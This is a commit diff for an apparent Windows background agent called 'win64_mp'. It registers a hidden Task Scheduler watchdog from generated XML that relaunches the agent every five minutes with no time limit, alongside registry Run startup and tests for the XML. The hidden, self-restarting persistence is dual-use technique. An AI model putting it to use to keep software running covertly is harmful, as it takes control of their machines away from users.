fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex

lib/startup/startup.go

@@ -1,3 +1,5 @@
+//go:build windows
+
 package startup
 
 import (
@@ -67,5 +69,6 @@ func installedCommandLine() (string, error) {
 	if err != nil {
 		return "", err
 	}
-	return `"` + exe + `" -background`, nil
+	// Registry Run requires quotes around a path that may contain spaces.
+	return `"` + exe + `"`, nil
 }

lib/startup/stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package startup
+
+func Enabled() bool { return false }
+
+func Enable() error { return nil }
+
+func Disable() error { return nil }
+
+func SyncInstalledPath() error { return nil }

lib/startup/taskxml.go

@@ -0,0 +1,70 @@
+package startup
+
+import (
+	"encoding/xml"
+	"strings"
+)
+
+const watchdogArg = "-ensure"
+
+// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and
+// Arguments as separate fields. Paths must not be wrapped in extra quotes —
+// schtasks /TR quoting is what made the watchdog flash and exit.
+func watchdogTaskXML(exe string) string {
+	exe = strings.Trim(exe, `"`)
+	var b strings.Builder
+	b.WriteString(`<?xml version="1.0" encoding="UTF-16"?>`)
+	b.WriteByte('\n')
+	b.WriteString(`<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">`)
+	b.WriteString(`<RegistrationInfo><Description>win64_mp watchdog</Description></RegistrationInfo>`)
+	b.WriteString(`<Triggers><TimeTrigger>`)
+	b.WriteString(`<Repetition><Interval>PT5M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>`)
+	b.WriteString(`<StartBoundary>2000-01-01T00:00:00</StartBoundary>`)
+	b.WriteString(`<Enabled>true</Enabled>`)
+	b.WriteString(`</TimeTrigger></Triggers>`)
+	b.WriteString(`<Principals><Principal id="Author">`)
+	b.WriteString(`<LogonType>InteractiveToken</LogonType>`)
+	b.WriteString(`<RunLevel>LeastPrivilege</RunLevel>`)
+	b.WriteString(`</Principal></Principals>`)
+	b.WriteString(`<Settings>`)
+	b.WriteString(`<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>`)
+	b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
+	b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
+	b.WriteString(`<Hidden>true</Hidden>`)
+	b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
+	b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
+	b.WriteString(`<Enabled>true</Enabled>`)
+	b.WriteString(`<StartWhenAvailable>true</StartWhenAvailable>`)
+	b.WriteString(`<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>`)
+	b.WriteString(`<Priority>7</Priority>`)
+	b.WriteString(`</Settings>`)
+	b.WriteString(`<Actions Context="Author"><Exec>`)
+	b.WriteString(`<Command>`)
+	b.WriteString(xmlEscape(exe))
+	b.WriteString(`</Command>`)
+	b.WriteString(`<Arguments>`)
+	b.WriteString(watchdogArg)
+	b.WriteString(`</Arguments>`)
+	if dir := winDir(exe); dir != "" {
+		b.WriteString(`<WorkingDirectory>`)
+		b.WriteString(xmlEscape(dir))
+		b.WriteString(`</WorkingDirectory>`)
+	}
+	b.WriteString(`</Exec></Actions></Task>`)
+	return b.String()
+}
+
+func xmlEscape(s string) string {
+	var b strings.Builder
+	_ = xml.EscapeText(&b, []byte(s))
+	return b.String()
+}
+
+func winDir(p string) string {
+	p = strings.TrimRight(p, `/\`)
+	i := strings.LastIndexAny(p, `/\`)
+	if i <= 0 {
+		return ""
+	}
+	return p[:i]
+}

lib/startup/taskxml_test.go

@@ -0,0 +1,48 @@
+package startup
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
+	t.Parallel()
+	exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
+	xml := watchdogTaskXML(exe)
+
+	if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
+		t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
+		t.Fatalf("Command missing raw path:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
+		t.Fatalf("Arguments missing -ensure:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
+		t.Fatalf("WorkingDirectory missing:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
+		t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
+	}
+}
+
+func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
+	t.Parallel()
+	exe := `C:\Users\A&B\win64_mp.exe`
+	xml := watchdogTaskXML(exe)
+	if !strings.Contains(xml, `C:\Users\A&amp;B\win64_mp.exe`) {
+		t.Fatalf("expected escaped ampersand:\n%s", xml)
+	}
+}
+
+func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
+	t.Parallel()
+	xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
+	if strings.Contains(xml, `"C:\win64_mp.exe"`) {
+		t.Fatalf("left quotes in XML:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
+		t.Fatalf("Command not unquoted:\n%s", xml)
+	}
+}

lib/startup/watchdog.go

@@ -1,10 +1,14 @@
+//go:build windows
+
 package startup
 
 import (
 	"fmt"
+	"os"
 	"os/exec"
 	"strings"
 	"syscall"
+	"unicode/utf16"
 
 	"golang.org/x/sys/windows"
 
@@ -16,8 +20,19 @@ func enableWatchdog() error {
 	if err != nil {
 		return err
 	}
-	tr := fmt.Sprintf(`"%s" -ensure`, exe)
-	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
+	tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
+	if err != nil {
+		return err
+	}
+	path := tmp.Name()
+	defer os.Remove(path)
+	if err := tmp.Close(); err != nil {
+		return err
+	}
+	if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
+		return err
+	}
+	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
 }
 
 func disableWatchdog() error {
@@ -41,3 +56,13 @@ func runSchtasks(args ...string) error {
 	}
 	return nil
 }
+
+func utf16LE(s string) []byte {
+	u := utf16.Encode([]rune(s))
+	out := make([]byte, 0, 2+len(u)*2)
+	out = append(out, 0xFF, 0xFE)
+	for _, r := range u {
+		out = append(out, byte(r), byte(r>>8))
+	}
+	return out
+}